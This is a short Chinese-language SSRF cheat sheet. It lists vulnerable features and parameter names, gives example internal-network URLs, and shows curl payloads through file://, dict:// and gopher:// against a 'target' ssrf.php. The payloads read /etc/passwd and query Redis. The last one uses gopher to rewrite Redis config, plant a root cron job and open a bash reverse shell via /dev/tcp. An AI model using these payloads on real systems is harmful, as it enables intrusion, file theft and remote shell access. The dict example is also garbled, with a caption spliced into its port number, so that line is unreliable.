目标
从外网无法访问的内部服务,可以利用ssrf来进行内网穿透
原因
由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
一般漏洞存在的点
1,分享,通过url地址分享网页内容
2,转码服务:通过url地址把源地址的网页内容调优使其适应手机屏幕浏览
3,在线翻译:通过url地址翻译对应文本的内容。提供此功能的国内公司有百度,有道等
4,图片加载与下载:通过url地址加载或下载图片
5,图片,文章收藏功能
6,未公开的api实现以及其他调用url的功能
7,从url关键字中寻找 例如:share wap url link src source target u 3g display sourceURL imageURL domain
举例
例如网站要求输入要上传的图片地址时,输入内网Ip.例如:http://192.168.10.1:3306(3306是数据库的端口),这样可以进入内网数据库中
或者输入file:///D:/www.txt查看内网中D盘的ww.txt的文件
或者输入dict://192.168.64.144:3306/info
或者输入ftp://192.168.64.144:21
ssrf利用的协议
# file
在有回显的情况下,利用 file 协议可以读取任意内容
curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"
使用file协议 file protocol (任意文件读取)
# dict
泄露安装软件版本信息,查看端口,操作内网redis服务等
curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:63使用dict协议 dict protocol (获取Redis配置信息)79/info"
# gopher
gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"
使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)